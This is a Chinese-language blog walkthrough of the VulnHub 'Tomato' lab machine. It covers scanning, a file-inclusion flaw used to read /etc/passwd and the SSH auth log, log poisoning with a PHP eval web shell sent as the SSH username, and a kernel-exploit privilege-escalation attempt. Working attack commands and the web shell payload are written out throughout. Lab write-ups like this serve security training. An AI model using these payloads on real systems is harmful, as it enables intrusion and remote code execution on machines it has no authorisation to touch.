Tomato靶机复现过程

一.打靶准备

tomato靶机下载地址

https://www.vulnhub.com/entry/tomato-1,557/

1.靶机导入

进入VMware首页,点击打开虚拟机选项。

选择我们从官网下载好的tomato靶机,注意这里的靶机是以.ova结尾的。

点击设置选项,把tomato靶机调成NAT模式,也就是调成和你的攻击机kali一个网络模式我的攻击机kali的网络模式是NAT。

打开即可:

2.攻击机(kali linux)

ip:192.168.2.14

二、信息收集

将我们的攻击机kali升级为root权限(用sudo su命令),以便后续的操作。

1.扫描靶机ip地址

开始扫描tomato靶机的ip地址。(我们在打靶机的时候第一步是肯定要确认靶机的ip是多少)

使用命令:arp-scan -l 来查看靶机的ip地址 192.168.2.147。

注意:这里扫出来四个地址:小地址192.168.2.1是网关地址,192.168.2.3是NAT虚拟网卡的地址,大地址:192.168.2.254是DHCP服务器的地址。

2.端口扫描

nmap -sS -A -O -sV -P- 192.168.2.147

-sS: SYN扫描,使用最频繁,安全,快

-A: 强力扫描, 启用操作系统检测,版本检测,脚本扫描和跟踪路由

-O: 使用TCP/IP进行远程OS指纹识别 ,对主机的操作系统进行扫描

-sV: 对端口上的服务程序版本进行扫描

-p-: 扫描所有端口

这里发现靶机开放了以下端口:

21端口 (ftp默认端口)

80端口 (http服务端口,这个端口我们是可以直接访问的)

2211端口 (ssh远程连接端口,一般情况下,ssh远程连接默认的端口号是22,但是这里是2211)

8888端口 (http服务端口,这个端口也是我们可以直接访问到的)

3.访问端口

可以通过kali上的火狐浏览器访问,也可以用宿主机(也就是你的本机)去访问,这里我用本机去访问。

访问80端口,这里发现是一个西红柿的照片,我们可以查看一下网页的源代码,看看有没有什么发现。

发现没有什么有价值的东西,都是些网页的样式之类的。

访问8888端口,发现这里弹出了个登录框。(可以试着用burp去暴破一下,发现暴不出来)

端口这条路看来走不通了,尝试扫描下目录.

4.目录扫描

dirb http://192.168.2.147

发现了三个目录:

1.http://192.168.2.147/antibot_image/

2.http://192.168.2.147/index.html (这个网址回显的响应码是200,说明是可以访问的,是西红柿那个图片,前面访问的80端口出现的页面和这个页面是一样的)

3.http://192.168.2.147/server-status (这个网址回显的响应码是403,服务器拒绝执行,我们访问不到这个界面)

访问一下:http://192.168.2.147/antibot_image/

发现有两个类似于文件的可以点击,点击第一个,发现是张西红柿的照片,点进第二个,我们可以发现:

我勒个去,发现新大陆了,都点开看看.当我们点进info.php时,进去查看源代码.

发现了include这个函数,说明可能存在文件包含漏洞。紧接着我们可以试试我们学过的文件包含的漏洞知识,去试试。

三、漏洞利用

1.查看文件

因为前面我们看到了这个靶机是linux系统,(Ubuntu的嘛),所以我们可以使用一下linux的特性,去尝试看一下/etc/passwd文件,这个文件是存放linux系统用户的地方(用?image去传递我们想要加的参数).

http://192.168.2.147/antibot_image/antibots/info.php?image=/etc/passwd

发现我们成功的查看到了/etc/passwd文件的内容。

这里我们看到了有一个用户Tomato的uid为1000(我们linux主机创建的第一个用户的uid为1000),且它的shell为/bin/bash(说明可以分配终端),再结合我们前面扫到的2211远程连接端口,说明这个用户是可以被远程连接的,我们知道了用户名,知道了端口号,知道了ip地址,就差密码就可以远程连接这个靶机了,既然前面可以看/etc/passwd,我们也可以看一下/etc/shadow文件,这样密码也知道了,那不就拿下了?嘻嘻。

发现看不了这个/etc/shadow文件,这条路断了。

2.构造报错连接

我们直接连不上的话,我们可以尝试一下报错远程连接(原理是我们构造一个报错连接,把一句话木马构造进去,之后我们访问靶机报错日志,如果我们构造的报错连接被日志记录且保存下来了,那么当我们查看这个报错日志的时候,就相当于木马被写入了报错日里,我们就可以用远程连接工具(蚁剑,菜刀,冰蝎等远程工具去连接了。

ssh远程连接的命令格式:       ssh 用户名@主机号 -p 端口号

ssh '<?php @eval($_POST[1]);?>'@192.168.2.147 -p 2211

可以发现我们用一句话木马代替了要连接的用户名,构造了一个错误的连接。

我的kali远程连接有些问题,这里我用我的另一台linux主机(CentOS 7)去连接。

然后在网页端查看ubuntu报错信息:(ubuntu日志存放的路径) : /var/log/auth.log

http://192.168.2.147/antibot_image/antibots/info.php?image=/var/log/auth.log

/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。

该目录下发现多了一些报错信息,可以看到192.168.2.142,这是我CentoOS 7 的IP地址,且看到ssh,failed这些字段,不正是我们远程连接失败被记录下来了吗?这里大概率写入木马成功了,我们试一下。

3.尝试连接

这里用蚁剑连接,密码是我们一句话木马里写好的POST传进来的 1 。

ssh '<?php @eval($_POST[1]);?>'@192.168.2.147 -p 2211

拿下!!!(我们可以为所欲为了,嘿嘿,但好像又没有完全拿下,还得提权)

四、提权

1.利用蚁剑进入靶机终端

我们右键虚拟终端,这就代表着我们在这个靶机终端里进行操作了。

用uname -a 命令查看系统内核版本,发现是 ubuntu 4.4.0-21-generic

2.在kali中找到靶机内核提权包

在kali中查找该系统内核的提权包:searchsploit ubuntu 4.4.0-21

不知道是哪个的话,挨个试,最后经过尝试得到可以使用45010,下载该包。

此文件是.c文件,需要编译才能运行,这种情况最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序。

3.编译文件

此文件是.c文件,需要编译才能运行,这种情况最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序。

4.开启http服务

python3 -m http.server 80

我们在kali上用python3开一个临时的http服务,在靶机终端访问kali的ip加端口号,就可以把文件下载到靶机里了。

在靶机的终端里:

cd /tmp

ls

5.运行.exp文件

如果执行成功,则提权成功

给exp文件一个可以执行的权限   chmod +x exp

执行文件,发现报错了,原因可能是kali版本的问题,或者是靶机的问题.版本不匹配,但是思路就是这个思路!!!

看似不起波澜的日复一日,一定会在某一天,让你看到坚持的意义!

  • 12
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值